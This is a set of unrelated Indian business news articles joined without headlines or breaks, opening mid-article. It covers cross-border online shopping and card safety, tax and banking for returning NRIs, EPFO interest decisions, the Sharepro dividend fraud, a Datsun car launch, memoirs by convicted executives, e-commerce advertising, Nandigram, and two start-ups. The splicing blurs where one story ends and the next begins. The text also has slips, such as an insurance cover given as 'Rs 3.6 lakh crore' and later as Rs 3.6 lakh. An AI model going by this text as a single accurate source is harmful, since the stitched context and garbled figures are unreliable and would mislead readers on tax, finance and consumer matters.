Most follow a standard dispute resolution. They assure refund if the buyer doesnt receive the order within a stipulated time. There is also assurance on quality. Shoppers can also return the goods if damaged or not as described.

But, the products need to be unused and the buyer needs to retail original packaging. For exchange, for refund or reporting of damaged goods, there are specific conditions and timeframes.

As these websites are located outside the country, consumers need to rely on their reputation, as Indian laws dont apply to them, according to Abhilash Panickar, a lawyer and founder of Entrust Legal Services. If, for some reason, the website doesnt agree with you theres nothing you can legally do.

Customs can be another grey area for customers, according to Pinaki Ranjan Mishra, partner and national leader - retail at EY. Some orders can attract Customs. The onus of paying duty is on the customer.

Evaluating sellers

A US-based website recently reported on eight China-based international websites that targeted women with Facebook ads offering too good-to-be-true deals on clothes. Some of these include Zaful, DressLily, RoseGal, TideBuy, and RomWe.

When women ordered these clothes, they received cheap, extremely low-quality knockoffs - far from what was displayed on the websites. Some also received dresses too small to fit them. There was no customer service to help resolve the issue.

Experts say shoppers should only shop at well-known shopping websites. If you search for the website reputation online, read buyers experience on as many websites as possible.

Thats because a business can bury a negative review using services of search engine experts. Make sure the website address starts with https and not just http at the beginning. This means all communications between your browser and the website are encrypted.

For selecting sellers, the process is straightforward. Look for the sellers feedback on the platform and see the product reviews. There is even a possibility that reviews can be managed in favour of the seller. So, go for the seller that has the number of feedback in four digits. If you see a branded well-known companys goods at a throw-away price, avoid it. Buyers should skip deals that look too good to be true, says Bahl.

Payment options and security risks

The easiest way is using a MasterCard or Visa credit cards, which all shoppers prefer because of convenience. A person also has the option of Western Union money transfer and bank transfers but these involve a painful lot of work and are also expensive.

India is among the very few countries globally that have mandatory two-factor authentication for card transactions. If a person uses his card internationally, the transaction goes through only with the details printed on the card. Shrivastava of EY says this increases the risk. One cannot eliminate the threats entirely but being cautious can reduce your chances of falling prey to card frauds, says Shrivastava.

A good website implements highest possible security controls and measures. They may also store your card details - some do it for a few days and some for years. If theres a breach in their systems, your credit card details can fall in the hands of the cyber criminals. Therefore, be cautious when transacting on these websites.

Ensuring safe transactions

Virtual card: This is like a credit card but expires within two days. In case you want a refund, there can be a problem, as websites will transfer money back to the same card

Deactivate foreign transactions: Some issuers allow cardholders to activate and deactivate international transactions on request

Set limits: Issuers also allow cardholders to set limits for international and domestic transactions. Set a smaller limit for international transactions that you are comfortable with

Have an exclusive card for international transactions: Keeping a lower credit limit will curtail losses

Cancel card: If you dont shop online too often, cancel the card after transacting and ask the bank to re-issue you a new one. Can be useful in high-risk regions, such as Africa and Asia

Insurance: Many insurance companies cover frauds only after the cardholder reported misuse to the issuer. Check the cover and conditions before signing up

Manoj Raikar (32) Musician I had ordered a media player from a China-based website. When I tracked the shipment, it said that it has reached Kolkata Customs, and was stuck there for several days. I sought help on online forums. Different individuals shared their stories and passed the number of an agent who could help. As it was a low value item I, decided to wait. After seven weeks of ordering, the courier company delivered it and asked me to cough up around 20 per cent of the price as Customs duty.

Photographs: Reuters
NRIs returning to India need to carefully manage the financial aspects of their shift

Venkat Naishadham, 43, working for Citibank in Mexico City, plans to shift back to India this summer.

After 17 years abroad, he is excited about being back in the country and hopes to devote more time to philanthropic activities (he has adopted a village near Hyderabad).

But, he is also worried about whether his children will be able to cope with the heat, the crowds, and the challenges of day-to-day living in India.

Non-resident Indians like Naishadham should also give a lot of thought to the financial aspects of shifting back to India and the challenges that arise in its wake.

File Income Tax returns

When an NRI returns to India, he should be aware of his tax residency status and file his income tax returns accordingly.

Tax residency status is determined by an individuals actual physical presence in India during the financial year.

To qualify as a resident, you would have to satisfy one of the following conditions: Your stay in India during the financial year should be 182 days or more; or your stay in India during the financial year should be 60 days or more and it should be 365 days or more in the four financial years preceding the current one.

Once you qualify as a resident, you need to find out whether you fall in the category of ordinarily resident or not ordinarily resident.

If you meet any of the following conditions, you will qualify as an OR: you should be a resident in India in nine out of the previous 10 financial years; or, your stay in the seven years preceding the relevant financial year should altogether be 729 days or more.

If you dont meet these criteria, you would be an NOR.

If your status is that of an NOR, you need to pay tax only on your Indian income but not on your global income. Once you fall in the category of OR, your entire income in India and abroad becomes taxable in India.

Report foreign assets

Once you become a resident Indian, you need to report all your foreign assets under the Undisclosed Foreign Income and Assets Bill, 2015.

Since July 2015, you have to ensure that you report all your bank accounts, financial interests, immovable property and trusts held abroad in your tax returns.

These assets need to be reported even if you have no income from them. Failure to report could result in a penalty of Rs 10 lakh (Rs 1 million), says Sonu Iyer, partner and national leader, people advisory services, EY (see table: High penalty for not disclosing foreign assets).

Change status of bank accounts

As an NRI, you would have held NRO, NRE and FCNR accounts.

The moment you become a resident Indian, the status of the NRO and NRE accounts should change to resident accounts.

The FCNR account should be converted into a resident foreign currency account.

The taxation status of these accounts also changes.

The NRO account is always taxable.

The moment you become a resident, interest income from both NRE and FCNR accounts becomes taxable.

Notify your bank and request for a change in status.

Transferring wealth

A major challenge NRIs face is in transferring the wealth they have accumulated back to India.

The complexity arises especially in dealing with the money lying in your employers retirement account, such as the 401 (k) account in the US.

Since you no longer work for that employer, you may want to bring the money completely under your control.

You have two options: Leave it in the US but transfer it to other types of accounts, or bring it to India.

If you decide to keep the money in the US, you can move it into a traditional IRA or a Roth IRA account, which are also retirement schemes.

IRA accounts are offered by asset management companies. In a 401(k) account or a traditional IRA, you pay tax at the time of retirement, that is, at the age of 59.5 years. If you decide to pay taxes on the money right away, you can invest it in a Roth IRA account, where it becomes tax-free at the time of withdrawal.

There are other challenges if you decide to bring the money to India.

You might have to pay penalties for premature withdrawal and tax on capital gains. You will have to take into account whether India has a double taxation avoidance agreement, and whether it covers retirement funds.

If there is no DTAA, you might end up paying taxes in both the countries, and could well lose 50-60 per cent of the corpus, says financial planner Ankur Kapur of ankurkapur.in.

Each of these decisions could lead to penalties for premature withdrawal and tax liabilities whose impact needs to be studied in detail.

You may have to seek professional help as the issue is complicated.

NRIs also need to decide whether to dispose of their real estate abroad.

The main criterion should be whether you plan to use the property in the near future, say, if you wish to return to that country in a few years or plan to visit it periodically. Usually, it is not advisable to retain the property for rental income.

In countries like the US, you are not left with much after paying the high management fee and taxes. The appreciation in rental from year-to-year is also low, says Kapur.

Buy insurance

Whether you buy a term plan on your return should depend on your age and the amount of assets you have accumulated.

Someone with a corpus of, say, Rs 20 crore (Rs 200 million), may not need to buy term insurance, while another person with an asset base of only Rs 50 lakh (Rs 5 million) will need to buy one.

NRIs should also buy a personal health cover for their family.

Buy a health cover a few years prior to shifting to India so that the waiting period for pre-existing diseases is crossed while the family is still abroad and the family is fully covered on its return to India, says Vishal Dhawan, chief financial planner, Plan Ahead Wealth Advisors.

Purchasing property

NRIs, who are accustomed to the more streamlined processes and higher degree of professionalism abroad, could find themselves at sea when trying to buy a house in India.

One challenge is to ascertain whether the features and amenities that the developer has advertised will come true.

The second is to assess whether the developer has the financial strength to deliver the project on time.

Third, developers might advertise that various infrastructure projects will come up in their area, which will boost the prices of apartments in their project. NRIs need advice regarding whether these projects will come up at all and whether this will happen within the time frames mentioned.

Before setting out to make a purchase, NRIs should do a lot of homework. Many developers provide information about their projects on their web sites.

Property portals also provide listings of projects with details about them.

Zero in on a few reputed developers and a few projects whose specifications match your requirements, says Ashutosh Limaye, head of research and REIS, JLL India.

To evaluate a developer, look at the construction quality of his past projects and his track record for timely completion and providing the promised specifications.

For most NRIs, it might be a good idea to engage a professional broking agency. That agency should be able to tell you whether all the permissions are in place and offer advice on the infrastructure projects slated to come up in the area. It should also be able to offer an assessment of the projects potential for price appreciation, says Limaye.

HIGH PENALTY FOR NOT DISCLOSING FOREIGN ASSETS

The Undisclosed Foreign Income and Assets (Imposition of Tax) Bill, 2015, provides for criminal liability for attempting to evade tax on foreign income

All income and assets outside India should be disclosed and filed in returns

Penalty for non-disclosure of foreign income will be three times the amount of tax payable, in addition to tax payable at 30%

Penalty for not furnishing I-T returns on foreign income or assets is Rs 10 lakh (Rs 1 million). Assets with a value of Rs 500,000 or less excluded

Attempt to evade tax or non-disclosure of foreign assets can also result in imprisonment and fine

A LIST OF THINGS TO DO

Before you move

Buy health insurance in advance for family

Dispose of real estate unless you plan to use it

Narrow down a list of developers and projects for buying a house in India

After you arrive

Decide on your tax residency status and file tax return appropriately

Report on all assets held abroad when you file return

Get NRO, NRE and FCNR accounts changed to resident accounts

Decide what to do with money in your retirement account abroad

Buy a term plan if your assets dont suffice to cover liabilities

Find a credible brokerage firm

An illustration by Uttam Ghosh/Rediff.com
The decision will benefit over nine crore such account holders having total deposit of around Rs 32,000 crore.

Retirement fund body EPFO on Tuesday decided to provide interest on inoperative accounts from April 1, a move which will benefit over nine crore such account-holders having total deposits of over Rs 32,000 crore (Rs 320 billion).

The decision was taken by the Employees' Provident Fund Organisation's (EPFO) apex decision making body Central Board of Trustees' headed by Labour Minister Bandaru Dattatreya.

"UPA government stopped interest on inoperative accounts. Now we have taken a pro-worker decision. The UPA government which was claiming to be a pro-worker, stopped the interest on inoperative accounts.

"Now, we have decided to credit interest in inoperative accounts. There will not be any inoperative accounts," Dattatreya told reporters after the CBT meeting.

He also informed that interest on deposits in inoperative accounts will be credited from from April 1. Inoperative accounts are those wherein the contribution has not been received for 36 months.

EPFO had stopped payment of interest to such accounts from April 1, 2011. The move was aimed at discouraging parking of funds with EPFO in these dormant accounts.

The decision will benefit over nine crore such account holders having total deposit of around Rs 32,000 crore.

When asked about a proposal on enhancing proportion of incremental investments of the EPFO in government securities (G-Sec) from 50 per cent to 65 per cent, Labour Secretary Shankar Aggarwal said, "It has already been decided by the Ministry of Finance."

The Secretary said that the limit of 50 per cent was enhanced as they were getting good offers but unable to invest in such instruments as the limit had been exhausted.

"If we get higher returns in G-Secs then we should be allowed to invest more in these instruments," he said further.

The Board also gave in-principle approval to restructuring of the EPFO as recommended by a sub-committee.

"We have taken decision regarding (cadre) restructuring of the EPFO. There will be a Career Advancement Scheme for over 20,000 employees of EPFO. They are waiting their due promotions for 19 years," Dattatreya said.

Dattatreya said that an implementation and anomalies committee has been formed which will look into grievances of employees. "The implementation of the scheme will be started within one month and will go very fast. A small committee under the Central Provident Fund Commissioner will address all anomalies in a month's time," he said.

About the CBT's decision to provide 8.8 per cent rate of interest on PF deposits for current fiscal, the Labour Secretary said, "The decision taken last month at CBT's meeting at Chennai has been sent to Finance Ministry and their approval is awaited."

On the proposal to provide insurance cover to EPFO's subscribers for three years after cessation of employment, he said, "The proposal is deferred."

The proposal to introduce voluntary retention of EDLI membership to subscribers at reduced rate of contribution for three years after cessation of employment was also on agenda of the CBT meeting today.

At present, the EPFO subscribers get an insurance cover of up to Rs 3.6 lakh crore under the Employees Deposit Linked Insurance (EDLI) Scheme for which their employers contribute 0.5 per cent of basic wages as premium.

About the CBT's decision in September last year to increase maximum sum assured under the scheme from Rs 3.6 lakh to Rs 6 lakh, Aggarwal said, "All decision of the CBT are vetted by Law Ministry. We will see where it is (status) and it will be implemented."

The CBT had also decided in its meeting held in September last year, to abolish the condition of continuous employment of 12 months under the current employer for employees to be eligible for insurance benefit under the EDLI scheme.

On EPFO investments in various instruments, the Secretary said, "We had allowed to invest 5 per cent in equity. Now out of remaining 95 per cent, we can invest up to 65 per cent in government securities. Thus share of private and public sector bonds will go down correspondingly."

The CBT members, particularly workers representatives, raised the issue of EPFO earning negative returns on investments in exchange traded funds (ETF).

Responding to the reservations, the Labour Minister said that there would be a review of investments in ETFs made by EPFO since August last year.

"Labour Minister said that the Finance, Audit and Investment Committee of the EPFO will review the investments in the exchange traded funds (ETFs) in view of the sentiments expressed by the CBT members," All India Trade Union Congress Secretary D L Sachdev told PTI.

He further said, "The review of EPFO's investments in ETFs was listed on the agenda of the CBT meeting today. The trustees' including all workers' representatives registered their protest against investments in stock markets."

EPFO had decided to invest only 5 per cent of its investible deposits in the current fiscal in ETFs, which are considered as a more safe bet than pure equity investments.

An EPFO analysis revealed that the body earned a negative return of 9.54 per cent on its Rs 5,920-crore investment in ETFs since August 2015.

Market value of investments of Rs 5,920 crore in the ETFs this fiscal was Rs 5,355 crore on February 29, 2016, as per an analysis of equity investment by EPFO.
After every corporate announcement, check your demat and bank accounts for necessary credits.

Its common that investors who own stocks forget to check whether the latest dividends or bonus announced by the company has actually been credited to their accounts.



Many times, the amounts are so small so people dont care. But, as the Sharepro scam has shown, investors could lose out heavily because of this.

Recently, Asian Paints filed a complaint against its share transfer agent Sharepro for illegally transferring dividends and shares to fraudulent accounts.

Aptech and Britannia Industries, too, have filed similar complaints against Sharepro.

According to an investigation by the Securities and Exchange Board of India (Sebi), as much as Rs 21.7 crore was transferred to the accounts of relatives of senior management of Sharepro and unauthorised entities over a period of 10 years.

Currently, around 250 companies are employing the services of Sharepro.

Whenever there is any corporate activity, within 48 hours, the share, bond or money should be credited to your account. Many a time, shareholders are not even aware of how much dividend is paid or due to them. People dont even read emails, says Hiren Dhakan, associate fund manager, Bonanza Portfolio.

The only way to keep a track of such frauds is to be self-vigilant and review your portfolio often even if you are not trading actively.

These days, whenever a company announces a dividend or bonus issue, the shares or money is electronically credited to shareholders' account. Always keep track of your demat account and the bank account linked to it," says Shriram Subramanian, founder and managing director, InGovern Research Services.

Once the record date is announced, keep track of whatever the corporate action is and how much money is supposed to come into your account, Subramanian adds.

He cites the case of Max India, which split into three different companies, but shares of the new companies are yet to be credited to investors accounts.

Frauds include dividend not being credited or not being credited in full, transactions getting settled in other accounts, or fees being hiked suddenly without informing shareholders.

In such instances, the first point of contact for complaint is always the company.

Each company has a dedicated investor cell where you can lodge your complaint. Every company has to publish a list of complaints it receives from shareholders once a quarter.

If the complaint is not resolved by the company, then you can lodge a complaint with the regulator.

You can lodge a complaint through Sebis grievance redressal platform, SCORES, which is a centralised online system for lodging and tracking complaints.

If the shares are not credited to your account, they can even be misused by intermediaries for pledging or lending to someone else. Then there could be two people who have rights over the shares, the original shareholder and the person to whom it has been pledged, says Feroze Azeez, deputy CEO at Anand Rathi Private Wealth Management.

Today, you can get consolidated statements of all your demat accounts from depositories.

This is a very useful feature and investors must keep track of it at least on a quarterly basis, if not monthly.

Many a time, brokers dont transfer the money or shares to their clients accounts and instead keep it in a pool account, as it makes it easier to sell and the client can avoid the additional paperwork and documentation required for the transfer.

But, this is not a wise thing to do and shareholders must always insist on the shares and money being transferred to their accounts, Azeez adds.

In case of Sharepro, the matter came to light because it involved a big company like Asian Paints. But, there could be several other cases involving smaller companies.

The regulator has to impose severe punishment for such frauds. There is still a gap between the scam being discovered and the order being passed, Dhakan says.
redi-GO is the company's third vehicle from under the Datsun brand in India and has come up on a brand new platform developed in India.

Japanese auto major Nissan unveiled its compact car redi-GO under the Datsun brand that will hit markets in June.

The company, however, did not announce the price of the car that will compete with the likes of Maruti Suzuki Alto and Hyundai's Eon, which are priced between Rs 2.5 lakh and Rs 4.42 lakh (ex-showroom Delhi).

"The bookings for the model would start in May and deliveries would begin in June," Nissan Motor India MD Arun Malhotra said.

redi-GO is the company's third vehicle from under the Datsun brand in India and has come up on a brand new platform developed in India.

Last year, the automaker had launched a compact multi- purpose vehicle Go+ to add to the Go small car to expand its network in small towns to boost sales of its Datsun brand of vehicles.

In 2014, when Nissan launched the Datsun Go in India, marking the global comeback of the brand after nearly three decades, it had said it was aiming to garner 10 per cent share in the Indian passenger vehicles market by 2016.

However, last year, it had clarified that it would miss its target, but would advance the launch of a third vehicle from its Datsun brand in the country to propel growth.

Both (Nissan and Datsun) now aim to garner 5 per cent market share in India by 2020.
Former head of McKinsey & Co,c, is not alone in writing a book on his life after serving a prison term.

Image: Rajat Gupta Gupta's memoir would detail his rise and fall in the United States and how he landed up in a New York prison. Photograph: Reuters

Here are a few other businessmen who were convicted or facing trial for various crimes but went on to write books after their prison terms:

RAJAT GUPTA

Rajat Gupta - a director in Goldman Sachs board - was convicted in 2012 for passing on confidential boardroom information to his one-time friend and business associate and stock trader, Raj Rajaratnam.



Gupta's memoir would detail his rise and fall as a top corporate honcho in the United States and how he landed up in a New York prison.

Image: Jordan Belfort's brokerage firm Stratton Oakmont defrauded investors through sales of stock. Photograph: Lucas Jackson/Reuters

JORDAN BELFORT

A former stock broker, Jordan Belfort is well-known for being portrayed by Leonardo DiCaprio in 2014 Hollywood grosser The Wolf of Wall Street.

Belfort's brokerage firm Stratton Oakmont defrauded investors through sales of stock.

The firm was busted in 1998, and Belfort was charged with money laundering and fraud.

After his release, Belfort wrote his memoir which went on to become one of the biggest Hollywood hits in 2014.

Image: Jack Abramoff was sentenced to six years in federal prison for mail fraud, conspiracy to bribe public officials, and tax evasion. Photograph: Carlos Barria/Reuters

JACK ABRAMOFF

A former businessman, Jack Abramoff was sentenced to six years in federal prison for mail fraud, conspiracy to bribe public officials, and tax evasion.

He served 43 months before being released in December 2010.

After his release, Abramoff wrote the autobiographical book Capitol Punishment: The Hard Truth About Corruption From America's Most Notorious Lobbyist - published in November 2011.

Image: The Life Mantras is the first book in the Thoughts from Tihar trilogy from Subrata Roy. Photograph: Reuters

SUBRATA ROY

In February this year, Sahara group announced that the group's founder Subrata Roy wrote a philosophical book on his experiences and observations on the day-to-day issues of people.

The Life Mantras is the first book in the Thoughts from Tihar trilogy from Roy.

Roy is lodged in Delhi's Tihar jail since 2014 after he failed to raise Rs 10,000 crore deposit for his release.
Even as new rules steer e-commerce companies away from discounts, two online giants have been changing their marketing pitch.

Image: Campigns are focused on converting the older generation into online shoppers. Photograph: Reuters

Well before the recent government order clamping down on big discounts on online marketplaces, Amazon and Flipkart had been beating a new path to customers' doors.

Far from the days of big sales and sharp deals, the two had begun reaching out to customers in small towns and semi-urban areas with a new deck of cards; trust, convenience and easy returns.

The new mantra is fast replacing the tried and tested discounts pitch that these companies have always emphasised on.

Both say that they are looking at widening their base of customers.

They are focused on converting the older generation into online shoppers - from a family member to a subordinate at the workplace, the ads use a young e-commerce evangelist to convey the message of change.

Interestingly these campaigns seem to be timed almost perfectly, coming as they do just as the Department of Industrial Policy and Promotion (DIPP) has stipulated that "e-commerce entities providing marketplace will not directly or indirectly influence the sale price of goods or services and shall maintain level playing field."

In short, stipulating that discounts or big sale days cannot serve as bait anymore.

Both Amazon's 'apni dukan' (your own shop) and the 'Flipkart matlab bilkul pakka' (Flipkart means quality assured) campaign, on air now, seemed to anticipate the changing order.

Was it foresight or had the companies realised that this was the only way to march forward?

Both companies say they wanted to expand the customer base and the profile of the potential customers they were targeting was different and this meant changing the communication strategy.

"While e-commerce adoption is growing, there is still a large section that is hesitant about making purchases online," says a spokesperson for Amazon India.

This is especially true for Tier II and III cities. With the e-commerce industry set to cross the Rs 3,800 crore mark by the end of this year, as per Associated Chambers of Commerce and Industry of India (Assocham), the online marketplaces are vying for more attention from these towns.

The e-commerce industry has, thus far, built its band of buyers using discounts and sale-days.

"The predominant noise was on price, discount and offers," says Ambi Parameswaran, brand strategist, advisor FCB Ulka Advertising. The first to don a different hat was Amazon India. The idea was to build trust in online marketplaces and wean buyers away from the local neighbourhood stores.

The Flipkart campaign relays similar messages and the ads for both companies seem to fall back on similar character archetypes too.

In both ads there is a role reversal of sorts; a daughter advising her mother, an employee his boss and a patient his doctor.



"They (e-commerce companies) have boxed themselves into the 'discount' segment. So in this light, it is good to see them trying to widen the appeal and go beyond just price and offers," says Parameswaran.

The convenience of shopping at home amid the option of accepting cash on delivery is driving the point home for most of the consumers in the bracket of 18-25 years old.

However, the generation, which is slightly older, is where the opportunity lies. And they need a different story, if they are to be brought online.

The ads also seem to be talking to a distinctly non-metro audience.

"While the start has been great, we feel the journey has only just begun especially when the majority of the country is yet to experience online shopping," says Shoumyan Biswas, VP, marketing, Flipkart.

The aim is to break into the next phase of online penetration, not only in terms of geographical spread but also with respect to the buyers' age group.

Hence discounts alone won't break the ice.

Parameswaran says that the e-commerce firms are doing what telecom firms did yesterday.

The telecom brands relied on offer based advertising (similar to discounts), but on a parallel path, they began promoting the 'brand' and also the 'network'.

"Time e-commerce brands started doing this in earnest," he said.

Biswas said, "Over the next few weeks you will see the campaign get amplified by a strong social, digital and outdoor plan reaching out to national metro as well as regional markets."

And it all seems to have tied up well for the two companies since the new DIPP order also steers e-commerce firms away from the path of price discounts.

"The Indian e-commerce space is still at a very nascent stage with significant potential for innovation and growth," said an Amazon India spokesperson.

As the new campaigns indicate, nothing will be left to chance when it comes to converting this potential into reality.
From an industrial hub as envisaged by the Left regime, Nandigram today is a conglomeration of model villages fenced by its greenery.

Image: Nandigram transforms into a model village. Photograph: Reuters

With only a few weeks to go before the Assembly elections, the political landscape in West Bengal has changed: The Opposition has gained some space with news portal Narada News releasing a video allegedly showing ministers, MLAs and MPs from the ruling Trinamool Congress (TMC) accepting cash for extending favours to a fictitious company; the Bengal intelligentsia that was once on the same side as chief minister Mamata Banerjee and screaming for Paribartan (change) is now a confused lot.

And, the obvious casualty in all the din is Kolkata as it continues to play the perfect host to rallies and counter-rallies.

Around 160 km away from the pandemonium, Shaktipada Mondal, 60, of Sonachura in Nandigram (Purba Medinipur district), hasn't heard about the controversial video.





Image: Farmers of Nandigram have rebuilt their lives. Photograph: Reuters

In the past nine years since the police firing in connection with a land acquisition for a 14,000-acre chemical hub project by Indonesia's Salim Group, killing 14 according to the official version of the then Left Front government; 50 as claimed by TMC which was then in the Opposition), life has not changed much for him.

Mondal makes do with a meagre earning of Rs 200-300 a day from his small-time kirana store that was witness to the firing.



"I had to flee after the firing and then set up shop all over again," recalls Mondal.



Was there any help from TMC that came to power on the back of its successful agitation in Nandigram?

"No," says Mondal, whose insurance against a bad sales day is a 90-decimal plot where he grows paddy.

Image: 84 per cent of the land is owned by small and marginal farmers . Photograph: Reuters

Mondal represents 80 per cent of the farmers of Nandigram who are marginal and engaged in subsistence agriculture.

That, of course, is the story of West Bengal where 84 per cent of the land is owned by small and marginal farmers thanks to the land reform initiatives of the Communist government in the late 1970s.

Lack of employment opportunities in Nandigram has pushed three of Mondal's sons to work outside the state.

That part of the story, however, is repetitive as 10-15 per cent of the population of Nandigram have moved to Odisha or Gujarat for work.

The backwardness of the place was one of the reasons why the Left Front government decided to locate the Salim Group project here.

The project was relocated by Buddhadeb Bhattacharjee after the police firing and later scrapped by the Banerjee government.

From an industrial hub as envisaged by the Left regime, Nandigram today is a conglomeration of model villages fenced by its greenery.

From primary healthcare centres to toilets under the Mission Nirmal Bangla, the West Bengal government's sanitation programme, Nandigram has it all.

Image: Nandigram is flourishing. Photograph: Reuters

Nandigram is flourishing, says Kali Krishna, the gram pradhan.

In the past five years, 18 km of roads have been built under the National Rural Employment Guarantee Act, which also happens to be a major source of income.

The state government has also achieved 100 per cent electrification.

The Pradhan is particularly gung-ho about shrimp farming. The income of roughly 20 per cent of the farmers with large landholding has doubled in the past few years.

West Bengal earns foreign exchange of nearly Rs 1,500 crore (Rs 15 billion) through shrimp exports and Purba Medinipur accounts for the lion's share.

Ever since the TMC government came to power, there has been an unrestrained growth in shrimp farming as the local panchayats have been quick in giving approvals for land conversion from agriculture to coastal land.

In the best of years, profits from paddy farming have rarely exceeded Rs 5,000 a bigha (third of an acre).

But now, a handful of farmers can earn as much as Rs 40,000 for a bigha. In addition, with each farm employing five to 10 workers, it has also translated to jobs.

When not building roads or farming shrimps, Nandigram pays homage to the 'shahids' of the police firing.

Thirteen Shahid Minars (memorials) have been built in the past five years. The tallest is 125 feet, costing Rs 3 crore (Rs 30 million).

LOSING OUT

2006

July 31: West Bengal signs an agreement with Indonesia-based Salim group for several projects, including a chemical hub at Nandigram

August: Trinamool-backed Krishi Jami Raksha Committee (a state-wide initiative) is formed to protest against land acquisition

2007

January 2: Haldia Development Authority issues notice for land acquisition

January 3: Villagers gather at local panchayat office to protest

March 13: Panic strikes Nandigram as word spreads about possible police action

March 14: Thousands assemble at Sonachura with women and children in front; police opens fire. At least 14killed

March 17: CM Buddhadeb Bhattacharjee says no chemical hub will be set up at Nandigram
The start-up works with 2,000 owners and hosts 10,000 tenants across four cities - Bengaluru, the National Capital Region, Hyderabad and Pune.

Image: The start-up helps tenants and owners in every step of the rental process while ensuring trust is maintained. Photograph, courtesy: NestAway

When Shalini Varma moved from a small town for her dream job in Hyderabad, she had to initially check into an uncomfortable accommodation.



Not knowing anyone in the city and with no friends to support, searching a house turned out to be arduous.



"It's easier if you have a support system, especially friends who help you find decent accommodation," she says.

An ordeal, a bunch of friends who moved to Bengaluru for work also had to go through. Now, they want to fix the problem.



"The youth housing infrastructure in cities is completely broken. Owners don't trust singles and when they do, they impose many restrictions, such as not allowing one to come back home after 10 pm. The city just doesn't treat them well and they feel like outsiders," says Sahu, one of the four founders of NestAway Technologies.

Image: NestAway co-founders (from left) Deepak Dhar, Jitendra Jagadev. Photograph, courtesy: Business Standard

The company was launched in January 2015 by National Institute of Technology (NIT), Karnataka, alumni Amarendra Sahu, Smruti Parida, Deepak Dhar and Jitendra Jagadev.



The start-up works with 2,000 owners and hosts 10,000 tenants across four cities - Bengaluru, the National Capital Region, Hyderabad and Pune.

The founders call themselves trust makers. They liken their work to a bank.



"Think of us as a bank whose primary job is to connect renters and owners by structuring the processes and standing as the guardian of trust," says Sahu.

The start-up helps tenants and owners in every step of the rental process while ensuring trust is maintained.

The focus is on having a standard set of processes, including a common rental agreement to eliminate the scope for surprises.

NestAway is also moving beyond addressing the pain points of young singles, with the launch of family homes in January.

"It's a new form of accomodation. Whatever is your budget (Rs 4,000-100,000), whatever you call home (a bed, a room or an entire house), our goal is to provide it," says Sahu.

For the singles' category, it takes two months deposit but no brokerage. Services are provided through an app.

The start-up has tied up with multiple payment services providers to facilitate transactions.

Tenants and owners can pay via its app or website. It also provides a guarantee in case the tenant damages the owner's property, through its 'Structure and Content Insurance' in association with Tata AIG, of up to Rs 1 crore.

Taking along brokers

Does the NestAway model eliminate regular brokers? No, says Sahu. In fact, it considers them an integral part of the rental value chain. "We use their service for lead closure and service supervision," he says.

NoBroker, another start-up in this space that directly connects home owners with house hunters, has a customer base of 650,000.

The company claims it helps customers save around Rs 15 crore in brokerage charges every month.

NestAway sees it otherwise and believes their help is essential to win the market.



NestAway's other competitors include CommonFloor, 99acres, Magicbricks Realty and Grabhouse.

"We provide our brokers an annuity income stream (2.5 per cent of monthly rental) for every home they manage with us, which includes showing homes, closing on agreements and attending to maintenance requests from tenants," Sahu says.

According to Karthik Prabhakar, vice-president of IDG Ventures India, NestAway is targeting to organise the rental market through extensive use of technology and collaboration with real estate brokers, a critical component for scaling without being capital-intensive.

The start-up has raised close to $14 million so far from Tiger Global, IDG Ventures, Flipkart, Ratan Tata and Naveen Tewari of Inmobi, among others.

The fund would go into product engineering, brand creation and expansion to more cities.

It has plans for Mumbai and Chennai in the near future. Its goal is to reach out to about 50,000 home owners and 100,000 tenants in 12-18 months.

For now, Sahu says, the revenue streams are sufficient and they aren't exploring additional routes. "We are doing well. Our existing business is large and growing," says the co-founder.

NestAway makes money by taking a percentage of the rent it generates every month.

"Given the annuity model and a high rate of repeat usage over a long period, the platform has the ability to scale and cater to a million-plus tenants over the next few years," Prabhakar adds.

FACT BOX

Inception: January 2015

Area of business: Home rental services

Fund-raising: $14 million from Tiger Global, IDG Ventures, Flipkart, Ratan Tata and Naveen Tewari of Inmobi

EXPERT TAKE

The NestAway concept is unique in many ways. Since it is a managed rental marketplace model, it delivers an annuity revenue stream, rather than a one-time brokerage fee.

It also allows the company to differentiate its offerings from other players in this space, who are all selling one-time services.

NestAway targets singles, who don't have easy access to high-quality rental options and matches them with owners with good properties.

So it is creating a unique solution and system on both sides of the spectrum.

The platform is highly scalable and with recurring revenues, is also very viable. While the online housing market is crowded, NestAway has a very differentiated model.

The key challenge will be in executing the plan and delivering a high-quality experience to both tenants and owners across properties and geographies.

The initiatives taken in enrolling brokers and local housewives as partners to provide hyperlocal support will help in scaling and provide better customer experience.

Apart from expanding across cities and potentially globally, NestAway can also extend services to other adjacent areas like family rentals and youth hostels.

Kanwaljit Singh is former MD of Helion Venture Partners.
While funds will not be a constraint, the challenge for Aasaanjobs will be to reach out to people with no internet, says M Saraswathy.

Image: (From left) Aasaanjobs founders Gaurav Toshniwal, Dinesh Goel and Kunal Jadhav.

Iqbal loves nothing more than putting on a helmet and zooming away on his motorcycle.



When he was looking for a job and was not sure whether he would get one within his salary requirement, he came across aasaanjobs.com.



The portal not only connected him with potential employers; it also helped him combine his love and work by getting him a job as a delivery boy.

Aasaanjobs, an online marketplace for entry-level jobs, provides a platform where recruiters meet job seekers.

The company's advanced, two-way matchmaking algorithm scans its database to only connect candidates whose profiles and job expectations meet client requirements, says Dinesh Goel, co-founder and chief executive officer.

Goel, an IIT Bombay alumnus, recalls conceiving it as early as 2013, along with Gaurav Toshniwal and Kunal Jadhav, also from IIT Bombay.

They recognised two recurring problems in the job market - restricted access to a trustworthy database of candidates in the entry-level and blue-collar job segments, and a highly unorganised hiring process.



Goel says this prompted them to explore creating a repository of data containing information about jobs and candidates in this segment.

Founded in November 2014, Aasaanjobs is based out of Mumbai and has around 150 people.



The start-up has received funding from IDG Ventures and Inventus Capital Partners. The platform has 180,000 candidates, with about 3,000 companies.

Business model

Employers have to purchase credits, based on which they can shortlist and interview candidates through a digital portal. They can choose to hire employees permanently by purchasing interview credits and shortlist candidates from a list of recommended job seekers, based on needed skills.

This means they only pay per valid interview, which reduces in-house spending on recruitment.

Its data plan, which includes unlimited job postings with a contact unlock feature, enables recruiters to access contact details of candidates and reach them directly.

Personnel agencies partnering with Aasaanjobs get special incentives to source candidates for client requirements.

Candidates can upload their CV on the website free of cost and get access to relevant jobs.

Goel says their model uses technology to make hiring hassle-free and job seeking an easy and convenient process - through its website, mobile app and WAP website.

Aasaanjobs recently raised $5 million in a Series-A round of funding, led by Aspada Advisors, with participation from the existing investors.

This was a follow-up from the seed round of $1.5 million, led by IDG Ventures and Inventus Capital, in January 2015.

Over the next two years, it plans to expand to Chennai, Hyderabad and Bengaluru. It is now present in Mumbai, Pune and the Delhi-National Capital Region.

